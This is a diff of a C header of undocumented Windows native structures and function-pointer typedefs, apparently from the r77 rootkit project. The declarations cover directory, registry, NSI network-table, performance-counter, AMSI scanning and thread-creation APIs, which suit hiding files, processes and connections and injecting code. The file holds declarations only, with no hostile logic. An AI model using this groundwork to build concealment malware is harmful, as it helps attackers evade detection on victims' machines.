- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID DllBase;
- LPVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
-} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY;
-
-typedef struct _NT_PEB_LDR_DATA
-{
- DWORD Length;
- DWORD Initialized;
- LPVOID SsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID EntryInProgress;
-} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA;
-
-typedef struct _NT_PEB
-{
- BYTE InheritedAddressSpace;
- BYTE ReadImageFileExecOptions;
- BYTE BeingDebugged;
- BYTE SpareBool;
- LPVOID Mutant;
- LPVOID ImageBaseAddress;
- PNT_PEB_LDR_DATA Ldr;
- LPVOID ProcessParameters;
- LPVOID SubSystemData;
- LPVOID ProcessHeap;
- PRTL_CRITICAL_SECTION FastPebLock;
- LPVOID FastPebLockRoutine;
- LPVOID FastPebUnlockRoutine;
- DWORD EnvironmentUpdateCount;
- LPVOID KernelCallbackTable;
- DWORD SystemReserved;
- DWORD AtlThunkSListPtr32;
- LPVOID FreeList;
- DWORD TlsExpansionCounter;
- LPVOID TlsBitmap;
- DWORD TlsBitmapBits[2];
- LPVOID ReadOnlySharedMemoryBase;
- LPVOID ReadOnlySharedMemoryHeap;
- LPVOID ReadOnlyStaticServerData;
- LPVOID AnsiCodePageData;
- LPVOID OemCodePageData;
- LPVOID UnicodeCaseTableData;
- DWORD NumberOfProcessors;
- DWORD NtGlobalFlag;
- LARGE_INTEGER CriticalSectionTimeout;
- DWORD HeapSegmentReserve;
- DWORD HeapSegmentCommit;
- DWORD HeapDeCommitTotalFreeThreshold;
- DWORD HeapDeCommitFreeBlockThreshold;
- DWORD NumberOfHeaps;
- DWORD MaximumNumberOfHeaps;
- LPVOID ProcessHeaps;
- LPVOID GdiSharedHandleTable;
- LPVOID ProcessStarterHelper;
- DWORD GdiDCAttributeList;
- LPVOID LoaderLock;
- DWORD OSMajorVersion;
- DWORD OSMinorVersion;
- WORD OSBuildNumber;
- WORD OSCSDVersion;
- DWORD OSPlatformId;
- DWORD ImageSubsystem;
- DWORD ImageSubsystemMajorVersion;
- DWORD ImageSubsystemMinorVersion;
- DWORD ImageProcessAffinityMask;
- DWORD GdiHandleBuffer[34];
- LPVOID PostProcessInitRoutine;
- LPVOID TlsExpansionBitmap;
- DWORD TlsExpansionBitmapBits[32];
- DWORD SessionId;
- ULARGE_INTEGER AppCompatFlags;
- ULARGE_INTEGER AppCompatFlagsUser;
- LPVOID ShimData;
- LPVOID AppCompatInfo;
- UNICODE_STRING CSDVersion;
- LPVOID ActivationContextData;
- LPVOID ProcessAssemblyStorageMap;
- LPVOID SystemDefaultActivationContextData;
- LPVOID SystemAssemblyStorageMap;
- DWORD MinimumStackCommit;
-} NT_PEB, *PNT_PEB;
-
-typedef struct _NT_IMAGE_RELOC
-{
- WORD Offset : 12;
- WORD Type : 4;
-} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC;
-
-typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
-typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount);
-typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
-typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
-typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
-typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
-typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
-typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
-typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
-typedef PDH_STATUS(WINAPI *NT_PDHGETRAWCOUNTERARRAYW)(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer);
-typedef PDH_STATUS(WINAPI *NT_PDHGETFORMATTEDCOUNTERARRAYW)(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer);
-typedef HRESULT(WINAPI *NT_AMSISCANBUFFER)(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result);
-typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
-typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
-typedef NTSTATUS(NTAPI *NT_NTUNMAPVIEWOFSECTION)(HANDLE processHandle, LPVOID baseAddress);
-typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation);
-typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
-typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
-typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);
-typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName);
-typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function);
-typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect);
-typedef BOOL(WINAPI *NT_VIRTUALPROTECT)(LPVOID address, SIZE_T size, DWORD newProtect, PDWORD oldProtect);
-typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved);
-
+#include "r77mindef.h"
+#ifndef _NTDLL_H
+#define _NTDLL_H
+
+#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
+#define PDH_MORE_DATA ((PDH_STATUS)0x800007d2L)
+
+#define SL_RESTART_SCAN 0x01
+#define SL_RETURN_SINGLE_ENTRY 0x02
+#define SL_INDEX_SPECIFIED 0x04
+#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08
+#define SL_NO_CURSOR_UPDATE 0x10
+
+#define DEVICE_NSI L"\\Device\\Nsi"
+#define IOCTL_NSI_GETALLPARAM 0x12001b
+
+typedef LONG PDH_STATUS;
+typedef HANDLE PDH_HCOUNTER;
+
+typedef enum _NT_SYSTEM_INFORMATION_CLASS
+{
+ SystemProcessorInformation = 1,
+ SystemPathInformation = 4,
+ SystemCallCountInformation = 6,
+ SystemDeviceInformation = 7,
+ SystemFlagsInformation = 9,
+ SystemCallTimeInformation = 10,
+ SystemModuleInformation = 11,
+ SystemLocksInformation = 12,
+ SystemStackTraceInformation = 13,
+ SystemPagedPoolInformation = 14,
+ SystemNonPagedPoolInformation = 15,
+ SystemHandleInformation = 16,
+ SystemObjectInformation = 17,
+ SystemPageFileInformation = 18,
+ SystemVdmInstemulInformation = 19,
+ SystemVdmBopInformation = 20,
+ SystemFileCacheInformation = 21,
+ SystemPoolTagInformation = 22,
+ SystemDpcBehaviorInformation = 24,
+ SystemFullMemoryInformation = 25,
+ SystemLoadGdiDriverInformation = 26,
+ SystemUnloadGdiDriverInformation = 27,
+ SystemTimeAdjustmentInformation = 28,
+ SystemSummaryMemoryInformation = 29,
+ SystemMirrorMemoryInformation = 30,
+ SystemPerformanceTraceInformation = 31,
+ SystemObsolete0 = 32,
+ SystemCrashDumpStateInformation = 34,
+ SystemKernelDebuggerInformation = 35,
+ SystemContextSwitchInformation = 36,
+ SystemExtendServiceTableInformation = 38,
+ SystemPrioritySeperation = 39,
+ SystemVerifierAddDriverInformation = 40,
+ SystemVerifierRemoveDriverInformation = 41,
+ SystemProcessorIdleInformation = 42,
+ SystemLegacyDriverInformation = 43,
+ SystemCurrentTimeZoneInformation = 44,
+ SystemTimeSlipNotification = 46,
+ SystemSessionCreate = 47,
+ SystemSessionDetach = 48,
+ SystemSessionInformation = 49,
+ SystemRangeStartInformation = 50,
+ SystemVerifierInformation = 51,
+ SystemVerifierThunkExtend = 52,
+ SystemSessionProcessInformation = 53,
+ SystemLoadGdiDriverInSystemSpace = 54,
+ SystemNumaProcessorMap = 55,
+ SystemPrefetcherInformation = 56,
+ SystemExtendedProcessInformation = 57,
+ SystemRecommendedSharedDataAlignment = 58,
+ SystemComPlusPackage = 59,
+ SystemNumaAvailableMemory = 60,
+ SystemProcessorPowerInformation = 61,
+ SystemEmulationBasicInformation = 62,
+ SystemEmulationProcessorInformation = 63,
+ SystemExtendedHandleInformation = 64,
+ SystemLostDelayedWriteInformation = 65,
+ SystemBigPoolInformation = 66,
+ SystemSessionPoolTagInformation = 67,
+ SystemSessionMappedViewInformation = 68,
+ SystemHotpatchInformation = 69,
+ SystemObjectSecurityMode = 70,
+ SystemWatchdogTimerHandler = 71,
+ SystemWatchdogTimerInformation = 72,
+ SystemLogicalProcessorInformation = 73,
+ SystemWow64SharedInformationObsolete = 74,
+ SystemRegisterFirmwareTableInformationHandler = 75,
+ SystemFirmwareTableInformation = 76,
+ SystemModuleInformationEx = 77,
+ SystemVerifierTriageInformation = 78,
+ SystemSuperfetchInformation = 79,
+ SystemMemoryListInformation = 80,
+ SystemFileCacheInformationEx = 81,
+ SystemThreadPriorityClientIdInformation = 82,
+ SystemProcessorIdleCycleTimeInformation = 83,
+ SystemVerifierCancellationInformation = 84,
+ SystemProcessorPowerInformationEx = 85,
+ SystemRefTraceInformation = 86,
+ SystemSpecialPoolInformation = 87,
+ SystemProcessIdInformation = 88,
+ SystemErrorPortInformation = 89,
+ SystemBootEnvironmentInformation = 90,
+ SystemHypervisorInformation = 91,
+ SystemVerifierInformationEx = 92,
+ SystemTimeZoneInformation = 93,
+ SystemImageFileExecutionOptionsInformation = 94,
+ SystemCoverageInformation = 95,
+ SystemPrefetchPatchInformation = 96,
+ SystemVerifierFaultsInformation = 97,
+ SystemSystemPartitionInformation = 98,
+ SystemSystemDiskInformation = 99,
+ SystemProcessorPerformanceDistribution = 100,
+ SystemNumaProximityNodeInformation = 101,
+ SystemDynamicTimeZoneInformation = 102,
+ SystemProcessorMicrocodeUpdateInformation = 104,
+ SystemProcessorBrandString = 105,
+ SystemVirtualAddressInformation = 106,
+ SystemLogicalProcessorAndGroupInformation = 107,
+ SystemProcessorCycleTimeInformation = 108,
+ SystemStoreInformation = 109,
+ SystemRegistryAppendString = 110,
+ SystemAitSamplingValue = 111,
+ SystemVhdBootInformation = 112,
+ SystemCpuQuotaInformation = 113,
+ SystemNativeBasicInformation = 114,
+ SystemErrorPortTimeouts = 115,
+ SystemLowPriorityIoInformation = 116,
+ SystemTpmBootEntropyInformation = 117,
+ SystemVerifierCountersInformation = 118,
+ SystemPagedPoolInformationEx = 119,
+ SystemSystemPtesInformationEx = 120,
+ SystemNodeDistanceInformation = 121,
+ SystemAcpiAuditInformation = 122,
+ SystemBasicPerformanceInformation = 123,
+ SystemQueryPerformanceCounterInformation = 124,
+ SystemSessionBigPoolInformation = 125,
+ SystemBootGraphicsInformation = 126,
+ SystemScrubPhysicalMemoryInformation = 127,
+ SystemBadPageInformation = 128,
+ SystemProcessorProfileControlArea = 129,
+ SystemCombinePhysicalMemoryInformation = 130,
+ SystemEntropyInterruptTimingInformation = 131,
+ SystemConsoleInformation = 132,
+ SystemPlatformBinaryInformation = 133,
+ SystemHypervisorProcessorCountInformation = 135,
+ SystemDeviceDataInformation = 136,
+ SystemDeviceDataEnumerationInformation = 137,
+ SystemMemoryTopologyInformation = 138,
+ SystemMemoryChannelInformation = 139,
+ SystemBootLogoInformation = 140,
+ SystemProcessorPerformanceInformationEx = 141,
+ SystemCriticalProcessErrorLogInformation = 142,
+ SystemSecureBootPolicyInformation = 143,
+ SystemPageFileInformationEx = 144,
+ SystemSecureBootInformation = 145,
+ SystemEntropyInterruptTimingRawInformation = 146,
+ SystemPortableWorkspaceEfiLauncherInformation = 147,
+ SystemFullProcessInformation = 148,
+ SystemKernelDebuggerInformationEx = 149,
+ SystemBootMetadataInformation = 150,
+ SystemSoftRebootInformation = 151,
+ SystemElamCertificateInformation = 152,
+ SystemOfflineDumpConfigInformation = 153,
+ SystemProcessorFeaturesInformation = 154,
+ SystemRegistryReconciliationInformation = 155,
+ SystemEdidInformation = 156,
+ SystemManufacturingInformation = 157,
+ SystemEnergyEstimationConfigInformation = 158,
+ SystemHypervisorDetailInformation = 159,
+ SystemProcessorCycleStatsInformation = 160,
+ SystemVmGenerationCountInformation = 161,
+ SystemTrustedPlatformModuleInformation = 162,
+ SystemKernelDebuggerFlags = 163,
+ SystemCodeIntegrityPolicyInformation = 164,
+ SystemIsolatedUserModeInformation = 165,
+ SystemHardwareSecurityTestInterfaceResultsInformation = 166,
+ SystemSingleModuleInformation = 167,
+ SystemAllowedCpuSetsInformation = 168,
+ SystemVsmProtectionInformation = 169,
+ SystemInterruptCpuSetsInformation = 170,
+ SystemSecureBootPolicyFullInformation = 171,
+ SystemCodeIntegrityPolicyFullInformation = 172,
+ SystemAffinitizedInterruptProcessorInformation = 173,
+ SystemRootSiloInformation = 174,
+ SystemCpuSetInformation = 175,
+ SystemCpuSetTagInformation = 176,
+ SystemWin32WerStartCallout = 177,
+ SystemSecureKernelProfileInformation = 178,
+ SystemCodeIntegrityPlatformManifestInformation = 179,
+ SystemInterruptSteeringInformation = 180,
+ SystemSupportedProcessorArchitectures = 181,
+ SystemMemoryUsageInformation = 182,
+ SystemCodeIntegrityCertificateInformation = 183,
+ SystemPhysicalMemoryInformation = 184,
+ SystemControlFlowTransition = 185,
+ SystemKernelDebuggingAllowed = 186,
+ SystemActivityModerationExeState = 187,
+ SystemActivityModerationUserSettings = 188,
+ SystemCodeIntegrityPoliciesFullInformation = 189,
+ SystemCodeIntegrityUnlockInformation = 190,
+ SystemIntegrityQuotaInformation = 191,
+ SystemFlushInformation = 192,
+ SystemProcessorIdleMaskInformation = 193,
+ SystemSecureDumpEncryptionInformation = 194,
+ SystemWriteConstraintInformation = 195,
+ SystemKernelVaShadowInformation = 196,
+ SystemHypervisorSharedPageInformation = 197,
+ SystemFirmwareBootPerformanceInformation = 198,
+ SystemCodeIntegrityVerificationInformation = 199,
+ SystemFirmwarePartitionInformation = 200,
+ SystemSpeculationControlInformation = 201,
+ SystemDmaGuardPolicyInformation = 202,
+ SystemEnclaveLaunchControlInformation = 203,
+ SystemWorkloadAllowedCpuSetsInformation = 204,
+ SystemCodeIntegrityUnlockModeInformation = 205,
+ SystemLeapSecondInformation = 206,
+ SystemFlags2Information = 207,
+ SystemSecurityModelInformation = 208,
+ SystemCodeIntegritySyntheticCacheInformation = 209,
+ SystemFeatureConfigurationInformation = 210,
+ SystemFeatureConfigurationSectionInformation = 211,
+ SystemFeatureUsageSubscriptionInformation = 212,
+ SystemSecureSpeculationControlInformation = 213
+} NT_SYSTEM_INFORMATION_CLASS;
+
+typedef struct _NT_SYSTEM_PROCESS_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG NumberOfThreads;
+ LARGE_INTEGER WorkingSetPrivateSize;
+ ULONG HardFaultCount;
+ ULONG NumberOfThreadsHighWatermark;
+ ULONGLONG CycleTime;
+ LARGE_INTEGER CreateTime;
+ LARGE_INTEGER UserTime;
+ LARGE_INTEGER KernelTime;
+ UNICODE_STRING ImageName;
+ ULONG BasePriority;
+ HANDLE ProcessId;
+ HANDLE InheritedFromProcessId;
+} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION;
+
+typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
+{
+ LARGE_INTEGER IdleTime;
+ LARGE_INTEGER KernelTime;
+ LARGE_INTEGER UserTime;
+ LARGE_INTEGER DpcTime;
+ LARGE_INTEGER InterruptTime;
+ ULONG InterruptCount;
+} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
+
+typedef struct _NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION
+{
+ ULONGLONG CycleTime;
+} NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION;
+
+typedef enum _NT_FILE_INFORMATION_CLASS
+{
+ FileFullDirectoryInformation = 2,
+ FileBothDirectoryInformation,
+ FileBasicInformation,
+ FileStandardInformation,
+ FileInternalInformation,
+ FileEaInformation,
+ FileAccessInformation,
+ FileNameInformation,
+ FileRenameInformation,
+ FileLinkInformation,
+ FileNamesInformation,
+ FileDispositionInformation,
+ FilePositionInformation,
+ FileFullEaInformation,
+ FileModeInformation,
+ FileAlignmentInformation,
+ FileAllInformation,
+ FileAllocationInformation,
+ FileEndOfFileInformation,
+ FileAlternateNameInformation,
+ FileStreamInformation,
+ FilePipeInformation,
+ FilePipeLocalInformation,
+ FilePipeRemoteInformation,
+ FileMailslotQueryInformation,
+ FileMailslotSetInformation,
+ FileCompressionInformation,
+ FileObjectIdInformation,
+ FileCompletionInformation,
+ FileMoveClusterInformation,
+ FileQuotaInformation,
+ FileReparsePointInformation,
+ FileNetworkOpenInformation,
+ FileAttributeTagInformation,
+ FileTrackingInformation,
+ FileIdBothDirectoryInformation,
+ FileIdFullDirectoryInformation,
+ FileValidDataLengthInformation,
+ FileShortNameInformation,
+ FileIoCompletionNotificationInformation,
+ FileIoStatusBlockRangeInformation,
+ FileIoPriorityHintInformation,
+ FileSfioReserveInformation,
+ FileSfioVolumeInformation,
+ FileHardLinkInformation,
+ FileProcessIdsUsingFileInformation,
+ FileNormalizedNameInformation,
+ FileNetworkPhysicalNameInformation,
+ FileIdGlobalTxDirectoryInformation,
+ FileIsRemoteDeviceInformation,
+ FileUnusedInformation,
+ FileNumaNodeInformation,
+ FileStandardLinkInformation,
+ FileRemoteProtocolInformation,
+ FileRenameInformationBypassAccessCheck,
+ FileLinkInformationBypassAccessCheck,
+ FileVolumeNameInformation,
+ FileIdInformation,
+ FileIdExtdDirectoryInformation,
+ FileReplaceCompletionInformation,
+ FileHardLinkFullIdInformation,
+ FileIdExtdBothDirectoryInformation,
+ FileMaximumInformation
+} NT_FILE_INFORMATION_CLASS;
+
+typedef struct _NT_FILE_BOTH_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ CCHAR ShortNameLength;
+ WCHAR ShortName[12];
+ WCHAR FileName[1];
+} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION;
+
+typedef struct _NT_FILE_DIRECTORY_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ WCHAR FileName[1];
+} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION;
+
+typedef struct _NT_FILE_FULL_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ WCHAR FileName[1];
+} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION;
+
+typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ CCHAR ShortNameLength;
+ WCHAR ShortName[12];
+ LARGE_INTEGER FileId;
+ WCHAR FileName[1];
+} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION;
+
+typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ LARGE_INTEGER FileId;
+ WCHAR FileName[1];
+} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION;
+
+typedef struct _NT_FILE_NAMES_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ ULONG FileNameLength;
+ WCHAR FileName[1];
+} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION;
+
+typedef enum _NT_KEY_INFORMATION_CLASS
+{
+ KeyBasicInformation,
+ KeyNodeInformation,
+ KeyFullInformation,
+ KeyNameInformation
+} NT_KEY_INFORMATION_CLASS;
+
+typedef enum _NT_KEY_VALUE_INFORMATION_CLASS
+{
+ KeyValueBasicInformation,
+ KeyValueFullInformation,
+ KeyValuePartialInformation
+} NT_KEY_VALUE_INFORMATION_CLASS;
+
+typedef struct _NT_KEY_BASIC_INFORMATION
+{
+ LARGE_INTEGER LastWriteTime;
+ ULONG TitleIndex;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION;
+
+typedef struct _NT_KEY_NAME_INFORMATION
+{
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION;
+
+typedef struct _NT_KEY_VALUE_BASIC_INFORMATION
+{
+ ULONG TitleIndex;
+ ULONG Type;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION;
+
+typedef struct _NT_KEY_VALUE_FULL_INFORMATION
+{
+ ULONG TitleIndex;
+ ULONG Type;
+ ULONG DataOffset;
+ ULONG DataLength;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION;
+
+typedef enum _NT_NSI_PARAM_TYPE
+{
+ NsiUdp = 1,
+ NsiTcp = 3
+} NT_NSI_PARAM_TYPE;
+
+typedef struct _NT_NSI_TCP_SUBENTRY
+{
+ BYTE Reserved1[2];
+ USHORT Port;
+ ULONG IpAddress;
+ BYTE IpAddress6[16];
+ BYTE Reserved2[4];
+} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY;
+
+typedef struct _NT_NSI_TCP_ENTRY
+{
+ NT_NSI_TCP_SUBENTRY Local;
+ NT_NSI_TCP_SUBENTRY Remote;
+} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY;
+
+typedef struct _NT_NSI_UDP_ENTRY
+{
+ BYTE Reserved1[2];
+ USHORT Port;
+ ULONG IpAddress;
+ BYTE IpAddress6[16];
+ BYTE Reserved2[4];
+} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY;
+
+typedef struct _NT_NSI_STATUS_ENTRY
+{
+ ULONG State;
+ BYTE Reserved[8];
+} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY;
+
+typedef struct _NT_NSI_PROCESS_ENTRY
+{
+ ULONG UdpProcessId;
+ ULONG Reserved1;
+ ULONG Reserved2;
+ ULONG TcpProcessId;
+ ULONG Reserved3;
+ ULONG Reserved4;
+ ULONG Reserved5;
+ ULONG Reserved6;
+} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY;
+
+typedef struct _NT_NSI_PARAM
+{
+ // It was really daunting to figure out the contents of this struct...
+ // There are lots of examples online with "LPVOID Unknown1, Unknown2" and so on.
+ // However, this should be as close to the actual structure as it gets:
+
+ SIZE_T Reserved1;
+ SIZE_T Reserved2;
+ LPVOID ModuleId;
+ NT_NSI_PARAM_TYPE Type;
+ ULONG Reserved3;
+ ULONG Reserved4;
+ LPVOID Entries;
+ SIZE_T EntrySize;
+ LPVOID Reserved5;
+ SIZE_T Reserved6;
+ LPVOID StatusEntries;
+ SIZE_T StatusEntrySize;
+ LPVOID ProcessEntries;
+ SIZE_T ProcessEntrySize;
+ SIZE_T Count;
+} NT_NSI_PARAM, *PNT_NSI_PARAM;
+
+typedef enum _NT_OBJECT_INFORMATION_CLASS
+{
+ ObjectNameInformation = 1,
+ ObjectAllInformation = 3,
+ ObjectDataInformation = 4
+} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS;
+
+typedef struct _NT_LDR_DATA_TABLE_ENTRY
+{
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID DllBase;
+ LPVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY;
+
+typedef struct _NT_PEB_LDR_DATA
+{
+ DWORD Length;
+ DWORD Initialized;
+ LPVOID SsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID EntryInProgress;
+} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA;
+
+typedef struct _NT_PEB
+{
+ BYTE InheritedAddressSpace;
+ BYTE ReadImageFileExecOptions;
+ BYTE BeingDebugged;
+ BYTE SpareBool;
+ LPVOID Mutant;
+ LPVOID ImageBaseAddress;
+ PNT_PEB_LDR_DATA Ldr;
+ LPVOID ProcessParameters;
+ LPVOID SubSystemData;
+ LPVOID ProcessHeap;
+ PRTL_CRITICAL_SECTION FastPebLock;
+ LPVOID FastPebLockRoutine;
+ LPVOID FastPebUnlockRoutine;
+ DWORD EnvironmentUpdateCount;
+ LPVOID KernelCallbackTable;
+ DWORD SystemReserved;
+ DWORD AtlThunkSListPtr32;
+ LPVOID FreeList;
+ DWORD TlsExpansionCounter;
+ LPVOID TlsBitmap;
+ DWORD TlsBitmapBits[2];
